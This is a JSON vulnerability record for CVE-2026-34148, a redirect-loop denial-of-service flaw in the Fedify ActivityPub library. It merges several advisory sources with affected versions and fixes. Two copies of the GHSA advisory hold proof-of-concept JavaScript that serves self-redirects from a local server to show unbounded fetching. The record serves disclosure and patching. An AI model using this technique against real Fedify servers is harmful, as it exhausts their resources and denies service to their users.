{"id":"CVE-2026-34148","aliases":["EUVD-2026-19295","GHSA-gm9m-gwc4-hwgp"],"status":"published","title":"Fedify affected by resource exhaustion caused by unbounded redirect following during remote key/document resolution","description":"Fedify is a TypeScript library for building federated server apps powered by ActivityPub. Prior to 1.9.6, 1.10.5, 2.0.8, and 2.1.1, @fedify/fedify follows HTTP redirects recursively in its remote document loader and authenticated document loader without enforcing a maximum redirect count or visited-URL loop detection. An attacker who controls a remote ActivityPub key or actor URL can force a server using Fedify to make repeated outbound requests from a single inbound request, leading to resource consumption and denial of service. This vulnerability is fixed in 1.9.6, 1.10.5, 2.0.8, and 2.1.1.","severity":{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-09","score":0.00572,"percentile":0.47595,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-400","CWE-770"],"published":"2026-04-06T15:06:53Z","modified":"2026-10-28T02:30:28Z","fixes":[{"ecosystem":"npm","package":"@fedify/fedify","fixed_in":["1.9.6","1.10.5","2.0.8","2.1.1"],"sources":["ghsa","osv"]},{"ecosystem":"npm","package":"@fedify/vocab-runtime","fixed_in":["2.0.8","2.1.1"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"npm","package":"@fedify/fedify","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.9.6"}]}]},{"source":"ghsa","ecosystem":"npm","package":"@fedify/vocab-runtime","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.0.8"}]}]},{"source":"ghsa","ecosystem":"npm","package":"@fedify/vocab-runtime","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.1.0"},{"last_affected":"2.1.0"},{"fixed":"2.1.1"}]}],"versions":["2.1.0"]},{"source":"ghsa","ecosystem":"npm","package":"@fedify/fedify","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"1.10.0"},{"fixed":"1.10.5"}]}]},{"source":"ghsa","ecosystem":"npm","package":"@fedify/fedify","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.0.0"},{"fixed":"2.0.8"}]}]},{"source":"ghsa","ecosystem":"npm","package":"@fedify/fedify","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.1.0"},{"last_affected":"2.1.0"},{"fixed":"2.1.1"}]}],"versions":["2.1.0"]},{"source":"osv","ecosystem":"npm","package":"@fedify/fedify","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"1.9.6"}]}]},{"source":"osv","ecosystem":"npm","package":"@fedify/vocab-runtime","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"2.0.8"}]}]},{"source":"osv","ecosystem":"npm","package":"@fedify/vocab-runtime","ranges":[{"type":"SEMVER","events":[{"introduced":"2.1.0"},{"fixed":"2.1.1"}]}],"versions":["2.1.0"]},{"source":"osv","ecosystem":"npm","package":"@fedify/fedify","ranges":[{"type":"SEMVER","events":[{"introduced":"1.10.0"},{"fixed":"1.10.5"}]}]},{"source":"osv","ecosystem":"npm","package":"@fedify/fedify","ranges":[{"type":"SEMVER","events":[{"introduced":"2.0.0"},{"fixed":"2.0.8"}]}]},{"source":"osv","ecosystem":"npm","package":"@fedify/fedify","ranges":[{"type":"SEMVER","events":[{"introduced":"2.1.0"},{"fixed":"2.1.1"}]}],"versions":["2.1.0"]}],"products":[{"vendor":"@fedify","product":"fedify"},{"vendor":"@fedify","product":"vocab-runtime"},{"vendor":"fedify","product":"fedify\\/fedify"},{"vendor":"fedify","product":"fedify\\/vocab-runtime"}],"references":[{"url":"https://github.com/fedify-dev/fedify/security/advisories/GHSA-gm9m-gwc4-hwgp","tags":["x_refsource_CONFIRM","exploit","Exploit","Vendor Advisory","advisory","web"]},{"url":"https://github.com/fedify-dev/fedify/releases/tag/1.10.5","tags":["x_refsource_MISC","Release Notes","web"]},{"url":"https://github.com/fedify-dev/fedify/releases/tag/1.9.6","tags":["x_refsource_MISC","Release Notes","web"]},{"url":"https://github.com/fedify-dev/fedify/releases/tag/2.0.8","tags":["x_refsource_MISC","Release Notes","web"]},{"url":"https://github.com/fedify-dev/fedify/releases/tag/2.1.1","tags":["x_refsource_MISC","Release Notes","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-34148","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-gm9m-gwc4-hwgp"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/34xxx/CVE-2026-34148.json","tags":["advisory"]},{"url":"https://github.com/fedify-dev/fedify","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2026-34148","title":"Fedify affected by resource exhaustion caused by unbounded redirect following during remote key/document resolution","description":"Fedify is a TypeScript library for building federated server apps powered by ActivityPub. Prior to 1.9.6, 1.10.5, 2.0.8, and 2.1.1, @fedify/fedify follows HTTP redirects recursively in its remote document loader and authenticated document loader without enforcing a maximum redirect count or visited-URL loop detection. An attacker who controls a remote ActivityPub key or actor URL can force a server using Fedify to make repeated outbound requests from a single inbound request, leading to resource consumption and denial of service. This vulnerability is fixed in 1.9.6, 1.10.5, 2.0.8, and 2.1.1.","status":"published","published":"2026-04-06T15:06:53.197Z","modified":"2026-04-07T14:25:51.368Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high","assessor":"cna"}],"cwes":["CWE-400","CWE-770"],"updated_at":"2026-11-02T14:20:14.302133Z"}],"euvd":[{"id":"EUVD-2026-19295","description":"Fedify is a TypeScript library for building federated server apps powered by ActivityPub. Prior to 1.9.6, 1.10.5, 2.0.8, and 2.1.1, @fedify/fedify follows HTTP redirects recursively in its remote document loader and authenticated document loader without enforcing a maximum redirect count or visited-URL loop detection. An attacker who controls a remote ActivityPub key or actor URL can force a server using Fedify to make repeated outbound requests from a single inbound request, leading to resource consumption and denial of service. This vulnerability is fixed in 1.9.6, 1.10.5, 2.0.8, and 2.1.1.","status":"published","published":"2026-04-06T15:06:53Z","modified":"2026-04-07T14:25:51Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"updated_at":"2026-11-02T19:25:12.908169Z"}],"ghsa":[{"id":"GHSA-gm9m-gwc4-hwgp","title":"Fedify affected by resource exhaustion caused by unbounded redirect following during remote key/document resolution","description":"### Summary\n\n`@fedify/fedify` follows HTTP redirects recursively in its remote document loader and authenticated document loader without enforcing a maximum redirect count or visited-URL loop detection. An attacker who controls a remote ActivityPub key or actor URL can force a server using Fedify to make repeated outbound requests from a single inbound request, leading to resource consumption and denial of service.\n\n### Details\n\nFedify verifies ActivityPub HTTP signatures by fetching the remote `keyId` during request processing. The relevant flow is `handleInboxInternal()` -\u003e `verifyRequest()` -\u003e `fetchKeyInternal()` -\u003e document loader.\n\nIn affected versions:\n- the generic document loader recursively follows `3xx` responses by calling `load()` again on the `Location` header\n- the authenticated redirect path (`doubleKnock()`) also recursively follows redirects\n- neither path enforces a redirect cap or tracks visited URLs to detect self-referential redirect loops\n\nAs a result, if an attacker-controlled `keyId` or actor URL responds with `302 Location: \u003csame URL\u003e`, a single ActivityPub request can trigger tens or hundreds of outbound requests before the fetch completes or the request times out.\n\nI confirmed the issue in `@fedify/fedify` 1.9.1 and 1.9.2. By contrast, Fedify's WebFinger lookup path already has a redirect cap, which suggests the missing bound in the document loader is unintended.\n\nFailed key fetches are not durably negatively cached. After a failed lookup, the null result is only remembered in a request-local cache, so later requests can trigger the same redirect loop again for the same `keyId`.\n\n### PoC\n\nMinimal direct reproduction with the package:\n\n1. Install `@fedify/fedify@1.9.2`.\n2. Save and run the following script:\n\n```js\nimport http from \"node:http\";\nimport { getDocumentLoader } from \"@fedify/fedify\";\n\nconst port = 45679;\nlet count = 0;\nconst redirectCount = 120;\n\nconst server = http.createServer((req, res) =\u003e {\n  count += 1;\n\n  if (count \u003c redirectCount) {\n    res.writeHead(302, {\n      Location: `http://127.0.0.1:${port}/actor`,\n    });\n    res.end();\n    return;\n  }\n\n  res.writeHead(200, { \"Content-Type\": \"application/activity+json\" });\n  res.end(JSON.stringify({\n    \"@context\": \"https://www.w3.org/ns/activitystreams\",\n    \"id\": `http://127.0.0.1:${port}/actor`,\n    \"type\": \"Person\"\n  }));\n});\n\nawait new Promise((resolve) =\u003e server.listen(port, \"127.0.0.1\", resolve));\n\ntry {\n  const loader = getDocumentLoader({ allowPrivateAddress: true });\n  await loader(`http://127.0.0.1:${port}/actor`);\n  console.log({ count });\n} finally {\n  server.close();\n}\n```\n\n3. Observe output similar to:\n\n```\n{ count: 120 }\n```\n\nThis shows the loader followed 119 self-redirects before the first non-redirect response.\n\nThe authenticated loader used for signed requests shows the same behavior:\n\n```\nimport http from \"node:http\";\nimport {\n  generateCryptoKeyPair,\n  getAuthenticatedDocumentLoader,\n} from \"@fedify/fedify\";\n\nconst port = 45680;\nlet count = 0;\nconst redirectCount = 120;\n\nconst server = http.createServer((req, res) =\u003e {\n  count += 1;\n\n  if (count \u003c redirectCount) {\n    res.writeHead(302, {\n      Location: `http://127.0.0.1:${port}/actor`,\n    });\n    res.end();\n    return;\n  }\n\n  res.writeHead(200, { \"Content-Type\": \"application/activity+json\" });\n  res.end(JSON.stringify({\n    \"@context\": \"https://www.w3.org/ns/activitystreams\",\n    \"id\": `http://127.0.0.1:${port}/actor`,\n    \"type\": \"Person\"\n  }));\n});\n\nawait new Promise((resolve) =\u003e server.listen(port, \"127.0.0.1\", resolve));\n\ntry {\n  const { privateKey } = await generateCryptoKeyPair();\n  const loader = getAuthenticatedDocumentLoader(\n    {\n      privateKey,\n      keyId: new URL(\"https://example.com/users/index#main-key\"),\n    },\n    { allowPrivateAddress: true },\n  );\n\n  await loader(`http://127.0.0.1:${port}/actor`);\n  console.log({ count });\n} finally {\n  server.close();\n}\n```\n\n### Impact\n\nThis is an unauthenticated denial-of-service / request amplification issue. Any Fedify-based server that verifies remote keys or loads remote ActivityPub documents can be forced to spend CPU time, worker time, connection slots, and outbound bandwidth following attacker-controlled redirects. A single inbound request can trigger a large number of outbound requests, and the attack can be repeated across requests because failed lookups are not durably negatively cached.\n\n### Misc Notes\n\nThis issue was surfaced by a Ghost ActivityPub user reporting the issue directly to Ghost. The above report was generated upon further investigation into the issue by the Ghost team. We credit @wrathsec for the discovery.","status":"published","published":"2026-04-07T18:04:09Z","modified":"2026-06-09T11:00:53Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"cwes":["CWE-400","CWE-770"],"updated_at":"2026-11-02T14:40:23.739691Z"}],"nvd":[{"id":"CVE-2026-34148","description":"Fedify is a TypeScript library for building federated server apps powered by ActivityPub. Prior to 1.9.6, 1.10.5, 2.0.8, and 2.1.1, @fedify/fedify follows HTTP redirects recursively in its remote document loader and authenticated document loader without enforcing a maximum redirect count or visited-URL loop detection. An attacker who controls a remote ActivityPub key or actor URL can force a server using Fedify to make repeated outbound requests from a single inbound request, leading to resource consumption and denial of service. This vulnerability is fixed in 1.9.6, 1.10.5, 2.0.8, and 2.1.1.","status":"published","published":"2026-04-06T16:16:34.387Z","modified":"2026-10-26T22:10:00.163Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high","assessor":"secondary"}],"cwes":["CWE-400","CWE-770"],"updated_at":"2026-11-02T14:12:13.1424Z"}],"osv":[{"id":"CVE-2026-34148","title":"Fedify affected by resource exhaustion caused by unbounded redirect following during remote key/document resolution","description":"Fedify is a TypeScript library for building federated server apps powered by ActivityPub. Prior to 1.9.6, 1.10.5, 2.0.8, and 2.1.1, @fedify/fedify follows HTTP redirects recursively in its remote document loader and authenticated document loader without enforcing a maximum redirect count or visited-URL loop detection. An attacker who controls a remote ActivityPub key or actor URL can force a server using Fedify to make repeated outbound requests from a single inbound request, leading to resource consumption and denial of service. This vulnerability is fixed in 1.9.6, 1.10.5, 2.0.8, and 2.1.1.","status":"published","published":"2026-04-06T15:06:53.197Z","modified":"2026-10-28T02:30:28.955549771Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"cwes":["CWE-400","CWE-770"],"updated_at":"2026-11-02T15:45:02.247031Z"},{"id":"GHSA-gm9m-gwc4-hwgp","title":"Fedify affected by resource exhaustion caused by unbounded redirect following during remote key/document resolution","description":"### Summary\n\n`@fedify/fedify` follows HTTP redirects recursively in its remote document loader and authenticated document loader without enforcing a maximum redirect count or visited-URL loop detection. An attacker who controls a remote ActivityPub key or actor URL can force a server using Fedify to make repeated outbound requests from a single inbound request, leading to resource consumption and denial of service.\n\n### Details\n\nFedify verifies ActivityPub HTTP signatures by fetching the remote `keyId` during request processing. The relevant flow is `handleInboxInternal()` -\u003e `verifyRequest()` -\u003e `fetchKeyInternal()` -\u003e document loader.\n\nIn affected versions:\n- the generic document loader recursively follows `3xx` responses by calling `load()` again on the `Location` header\n- the authenticated redirect path (`doubleKnock()`) also recursively follows redirects\n- neither path enforces a redirect cap or tracks visited URLs to detect self-referential redirect loops\n\nAs a result, if an attacker-controlled `keyId` or actor URL responds with `302 Location: \u003csame URL\u003e`, a single ActivityPub request can trigger tens or hundreds of outbound requests before the fetch completes or the request times out.\n\nI confirmed the issue in `@fedify/fedify` 1.9.1 and 1.9.2. By contrast, Fedify's WebFinger lookup path already has a redirect cap, which suggests the missing bound in the document loader is unintended.\n\nFailed key fetches are not durably negatively cached. After a failed lookup, the null result is only remembered in a request-local cache, so later requests can trigger the same redirect loop again for the same `keyId`.\n\n### PoC\n\nMinimal direct reproduction with the package:\n\n1. Install `@fedify/fedify@1.9.2`.\n2. Save and run the following script:\n\n```js\nimport http from \"node:http\";\nimport { getDocumentLoader } from \"@fedify/fedify\";\n\nconst port = 45679;\nlet count = 0;\nconst redirectCount = 120;\n\nconst server = http.createServer((req, res) =\u003e {\n  count += 1;\n\n  if (count \u003c redirectCount) {\n    res.writeHead(302, {\n      Location: `http://127.0.0.1:${port}/actor`,\n    });\n    res.end();\n    return;\n  }\n\n  res.writeHead(200, { \"Content-Type\": \"application/activity+json\" });\n  res.end(JSON.stringify({\n    \"@context\": \"https://www.w3.org/ns/activitystreams\",\n    \"id\": `http://127.0.0.1:${port}/actor`,\n    \"type\": \"Person\"\n  }));\n});\n\nawait new Promise((resolve) =\u003e server.listen(port, \"127.0.0.1\", resolve));\n\ntry {\n  const loader = getDocumentLoader({ allowPrivateAddress: true });\n  await loader(`http://127.0.0.1:${port}/actor`);\n  console.log({ count });\n} finally {\n  server.close();\n}\n```\n\n3. Observe output similar to:\n\n```\n{ count: 120 }\n```\n\nThis shows the loader followed 119 self-redirects before the first non-redirect response.\n\nThe authenticated loader used for signed requests shows the same behavior:\n\n```\nimport http from \"node:http\";\nimport {\n  generateCryptoKeyPair,\n  getAuthenticatedDocumentLoader,\n} from \"@fedify/fedify\";\n\nconst port = 45680;\nlet count = 0;\nconst redirectCount = 120;\n\nconst server = http.createServer((req, res) =\u003e {\n  count += 1;\n\n  if (count \u003c redirectCount) {\n    res.writeHead(302, {\n      Location: `http://127.0.0.1:${port}/actor`,\n    });\n    res.end();\n    return;\n  }\n\n  res.writeHead(200, { \"Content-Type\": \"application/activity+json\" });\n  res.end(JSON.stringify({\n    \"@context\": \"https://www.w3.org/ns/activitystreams\",\n    \"id\": `http://127.0.0.1:${port}/actor`,\n    \"type\": \"Person\"\n  }));\n});\n\nawait new Promise((resolve) =\u003e server.listen(port, \"127.0.0.1\", resolve));\n\ntry {\n  const { privateKey } = await generateCryptoKeyPair();\n  const loader = getAuthenticatedDocumentLoader(\n    {\n      privateKey,\n      keyId: new URL(\"https://example.com/users/index#main-key\"),\n    },\n    { allowPrivateAddress: true },\n  );\n\n  await loader(`http://127.0.0.1:${port}/actor`);\n  console.log({ count });\n} finally {\n  server.close();\n}\n```\n\n### Impact\n\nThis is an unauthenticated denial-of-service / request amplification issue. Any Fedify-based server that verifies remote keys or loads remote ActivityPub documents can be forced to spend CPU time, worker time, connection slots, and outbound bandwidth following attacker-controlled redirects. A single inbound request can trigger a large number of outbound requests, and the attack can be repeated across requests because failed lookups are not durably negatively cached.\n\n### Misc Notes\n\nThis issue was surfaced by a Ghost ActivityPub user reporting the issue directly to Ghost. The above report was generated upon further investigation into the issue by the Ghost team. We credit @wrathsec for the discovery.","status":"published","published":"2026-04-07T18:04:09Z","modified":"2026-09-10T03:51:01.811866448Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"cwes":["CWE-400","CWE-770"],"updated_at":"2026-11-02T15:46:47.822182Z"}]}}